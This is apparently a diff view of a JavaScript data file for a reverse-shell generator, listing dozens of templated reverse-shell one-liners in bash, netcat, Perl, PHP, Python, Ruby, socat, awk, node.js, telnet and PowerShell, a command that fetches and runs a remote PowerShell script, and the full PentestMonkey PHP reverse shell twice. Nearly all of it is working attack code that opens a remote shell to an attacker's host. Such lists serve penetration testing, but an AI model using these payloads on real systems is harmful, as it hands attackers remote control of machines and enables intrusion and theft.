shells: ['sh', 'bash', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'],
|
||||
|
||||
// upgrades: ['test', 'testicle', 'test2'],
|
||||
shells: ['sh', '/bin/sh', 'bash', '/bin/bash', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'],
|
||||
|
||||
reverseShellsCommands: [
|
||||
['Bash -i', '{shell} -i >& /dev/tcp/{ip}/{port} 0>&1'],
|
||||
['Bash 196', '0<&196;exec 196<>/dev/tcp/{ip}/{port}; {shell} <&196 >&196 2>&196'],
|
||||
['Bash udp', '{shell} -i >& /dev/udp/{ip}/{port} 0>&1'],
|
||||
['nc mkfifo', 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/{shell} -i 2>&1|nc {ip} {port} >/tmp/f'],
|
||||
['nc -e', 'nc -e /bin/{shell} {ip} {port}'],
|
||||
['nc mkfifo', 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {ip} {port} >/tmp/f'],
|
||||
['nc -e', 'nc -e {shell} {ip} {port}'],
|
||||
['nc -c', 'nc -c {shell} {ip} {port}'],
|
||||
['ncat -e', 'ncat {ip} {port} -e /bin/{shell} '],
|
||||
['ncat udp', 'ncat {ip} {port} -e /bin/{shell}'],
|
||||
['Perl', 'perl -e \'use Socket;$i="{ip}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/{shell} -i");};\''],
|
||||
['ncat -e', 'ncat {ip} {port} -e {shell} '],
|
||||
['ncat udp', 'ncat {ip} {port} -e {shell}'],
|
||||
['Perl', 'perl -e \'use Socket;$i="{ip}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("{shell} -i");};\''],
|
||||
['Perl no sh', 'perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"{port}:{port}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\''],
|
||||
['PHP exec', 'php -r \'$sock=fsockopen("{ip}",{port});exec("/bin/{shell} -i <&3 >&3 2>&3");\''],
|
||||
['PHP shell_exec', 'php -r \'$sock=fsockopen("{ip}",{port});shell_exec("/bin/{shell} -i <&3 >&3 2>&3");\''],
|
||||
['PHP system', 'php -r \'$sock=fsockopen("{ip}",{port});system("/bin/{shell} -i <&3 >&3 2>&3");\''],
|
||||
['PHP passthru', 'php -r \'$sock=fsockopen("{ip}",{port});passthru("/bin/sh -i <&3 >&3 2>&3");\''],
|
||||
['PHP `', 'php -r \'$sock=fsockopen("{ip}",{port});`/bin/sh -i <&3 >&3 2>&3`;\''],
|
||||
['PHP popen', 'php -r \'$sock=fsockopen("{ip}",{port});popen("/bin/sh -i <&3 >&3 2>&3", "r");\''],
|
||||
['PHP PentestMonkey', '<?php\n\/\/ php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https:\/\/raw.githubusercontent.com\/pentestmonkey\/php-reverse-shell\/master\/php-reverse-shell.php\n\/\/ Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n\nset_time_limit (0);\n$VERSION = \"1.0\";\n$ip = \'{ip}\';\n$port = {port};\n$chunk_size = 1400;\n$write_a = null;\n$error_a = null;\n$shell = \'uname -a; w; id; {shell} -i\';\n$daemon = 0;\n$debug = 0;\n\nif (function_exists(\'pcntl_fork\')) {\n $pid = pcntl_fork();\n \n if ($pid == -1) {\n printit(\"ERROR: Can\'t fork\");\n exit(1);\n }\n \n if ($pid) {\n exit(0); \/\/ Parent exits\n }\n if (posix_setsid() == -1) {\n printit(\"Error: Can\'t setsid()\");\n exit(1);\n }\n\n $daemon = 1;\n} else {\n printit(\"WARNING: Failed to daemonise. This is quite common and not fatal.\");\n}\n\nchdir(\"\/\");\n\numask(0);\n\n\/\/ Open reverse connection\n$sock = fsockopen($ip, $port, $errno, $errstr, 30);\nif (!$sock) {\n printit(\"$errstr ($errno)\");\n exit(1);\n}\n\n$descriptorspec = array(\n 0 => array(\"pipe\", \"r\"), \/\/ stdin is a pipe that the child will read from\n 1 => array(\"pipe\", \"w\"), \/\/ stdout is a pipe that the child will write to\n 2 => array(\"pipe\", \"w\") \/\/ stderr is a pipe that the child will write to\n);\n\n$process = proc_open($shell, $descriptorspec, $pipes);\n\nif (!is_resource($process)) {\n printit(\"ERROR: Can\'t spawn shell\");\n exit(1);\n}\n\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\n\nprintit(\"Successfully opened reverse shell to $ip:$port\");\n\nwhile (1) {\n if (feof($sock)) {\n printit(\"ERROR: Shell connection terminated\");\n break;\n }\n\n if (feof($pipes[1])) {\n printit(\"ERROR: Shell process terminated\");\n break;\n }\n\n $read_a = array($sock, $pipes[1], $pipes[2]);\n $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n\n if (in_array($sock, $read_a)) {\n if ($debug) printit(\"SOCK READ\");\n $input = fread($sock, $chunk_size);\n if ($debug) printit(\"SOCK: $input\");\n fwrite($pipes[0], $input);\n }\n\n if (in_array($pipes[1], $read_a)) {\n if ($debug) printit(\"STDOUT READ\");\n $input = fread($pipes[1], $chunk_size);\n if ($debug) printit(\"STDOUT: $input\");\n fwrite($sock, $input);\n }\n\n if (in_array($pipes[2], $read_a)) {\n if ($debug) printit(\"STDERR READ\");\n $input = fread($pipes[2], $chunk_size);\n if ($debug) printit(\"STDERR: $input\");\n fwrite($sock, $input);\n }\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\n\nfunction printit ($string) {\n if (!$daemon) {\n print \"$string\\n\";\n }\n}\n\n?>'],
|
||||
['PHP exec', 'php -r \'$sock=fsockopen("{ip}",{port});exec("{shell} -i <&3 >&3 2>&3");\''],
|
||||
['PHP shell_exec', 'php -r \'$sock=fsockopen("{ip}",{port});shell_exec("{shell} -i <&3 >&3 2>&3");\''],
|
||||
['PHP system', 'php -r \'$sock=fsockopen("{ip}",{port});system("{shell} -i <&3 >&3 2>&3");\''],
|
||||
['PHP passthru', 'php -r \'$sock=fsockopen("{ip}",{port});passthru("{shell} -i <&3 >&3 2>&3");\''],
|
||||
['PHP `', 'php -r \'$sock=fsockopen("{ip}",{port});`{shell} -i <&3 >&3 2>&3`;\''],
|
||||
['PHP popen', 'php -r \'$sock=fsockopen("{ip}",{port});popen("{shell} -i <&3 >&3 2>&3", "r");\''],
|
||||
['Windows ConPty', 'IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {ip} {port}'],
|
||||
['PowerShell #1', 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'],
|
||||
['PowerShell #2', 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\'{ip}\',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'],
|
||||
['PowerShell #3 (Base64)', undefined],
|
||||
['Python #1', 'export RHOST="{ip}";export RPORT={port};python -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/{shell}")\''],
|
||||
['Python #2', 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/{shell}")\''],
|
||||
['Ruby #1', 'ruby -rsocket -e\'f=TCPSocket.open("{ip}",{port}).to_i;exec sprintf("/bin/{shell} -i <&%d >&%d 2>&%d",f,f,f)\''],
|
||||
['Python #1', 'export RHOST="{ip}";export RPORT={port};python -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("{shell}")\''],
|
||||
['Python #2', 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("{shell}")\''],
|
||||
['Ruby #1', 'ruby -rsocket -e\'f=TCPSocket.open("{ip}",{port}).to_i;exec sprintf("{shell} -i <&%d >&%d 2>&%d",f,f,f)\''],
|
||||
['Ruby no sh', 'ruby -rsocket -e \'exit if fork;c=TCPSocket.new("{ip}","{port}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\''],
|
||||
['socat #1', 'socat TCP:{ip}:{port} EXEC:{shell}'],
|
||||
['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'bash -li\',pty,stderr,setsid,sigint,sane'],
|
||||
['awk', 'awk \'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'],
|
||||
['node.js', 'require(\'child_process\').exec(\'nc -e /bin/{shell} {ip} {port}\')'],
|
||||
['awk', 'awk \'BEGIN {s = "/inet/tcp/0/{ip}/{port}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'],
|
||||
['node.js', 'require(\'child_process\').exec(\'nc -e {shell} {ip} {port}\')'],
|
||||
['telnet', 'TF=$(mktemp -u);mkfifo $TF && telnet {ip} {port} 0<$TF | {shell} 1>$TF'],
|
||||
['PentestMonkey', '<?php\n\/\/ php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https:\/\/raw.githubusercontent.com\/pentestmonkey\/php-reverse-shell\/master\/php-reverse-shell.php\n\/\/ Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n\nset_time_limit (0);\n$VERSION = \"1.0\";\n$ip = \'{ip}\';\n$port = {port};\n$chunk_size = 1400;\n$write_a = null;\n$error_a = null;\n$shell = \'uname -a; w; id; \/bin\/sh -i\';\n$daemon = 0;\n$debug = 0;\n\nif (function_exists(\'pcntl_fork\')) {\n $pid = pcntl_fork();\n \n if ($pid == -1) {\n printit(\"ERROR: Can\'t fork\");\n exit(1);\n }\n \n if ($pid) {\n exit(0); \/\/ Parent exits\n }\n if (posix_setsid() == -1) {\n printit(\"Error: Can\'t setsid()\");\n exit(1);\n }\n\n $daemon = 1;\n} else {\n printit(\"WARNING: Failed to daemonise. This is quite common and not fatal.\");\n}\n\nchdir(\"\/\");\n\numask(0);\n\n\/\/ Open reverse connection\n$sock = fsockopen($ip, $port, $errno, $errstr, 30);\nif (!$sock) {\n printit(\"$errstr ($errno)\");\n exit(1);\n}\n\n$descriptorspec = array(\n 0 => array(\"pipe\", \"r\"), \/\/ stdin is a pipe that the child will read from\n 1 => array(\"pipe\", \"w\"), \/\/ stdout is a pipe that the child will write to\n 2 => array(\"pipe\", \"w\") \/\/ stderr is a pipe that the child will write to\n);\n\n$process = proc_open($shell, $descriptorspec, $pipes);\n\nif (!is_resource($process)) {\n printit(\"ERROR: Can\'t spawn shell\");\n exit(1);\n}\n\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\n\nprintit(\"Successfully opened reverse shell to $ip:$port\");\n\nwhile (1) {\n if (feof($sock)) {\n printit(\"ERROR: Shell connection terminated\");\n break;\n }\n\n if (feof($pipes[1])) {\n printit(\"ERROR: Shell process terminated\");\n break;\n }\n\n $read_a = array($sock, $pipes[1], $pipes[2]);\n $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n\n if (in_array($sock, $read_a)) {\n if ($debug) printit(\"SOCK READ\");\n $input = fread($sock, $chunk_size);\n if ($debug) printit(\"SOCK: $input\");\n fwrite($pipes[0], $input);\n }\n\n if (in_array($pipes[1], $read_a)) {\n if ($debug) printit(\"STDOUT READ\");\n $input = fread($pipes[1], $chunk_size);\n if ($debug) printit(\"STDOUT: $input\");\n fwrite($sock, $input);\n }\n\n if (in_array($pipes[2], $read_a)) {\n if ($debug) printit(\"STDERR READ\");\n $input = fread($pipes[2], $chunk_size);\n if ($debug) printit(\"STDERR: $input\");\n fwrite($sock, $input);\n }\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\n\nfunction printit ($string) {\n if (!$daemon) {\n print \"$string\\n\";\n }\n}\n\n?>']
|
||||
],
|
||||
|
||||
specialCommands: {
|
||||
|
Loading…
Reference in New Issue
Block a user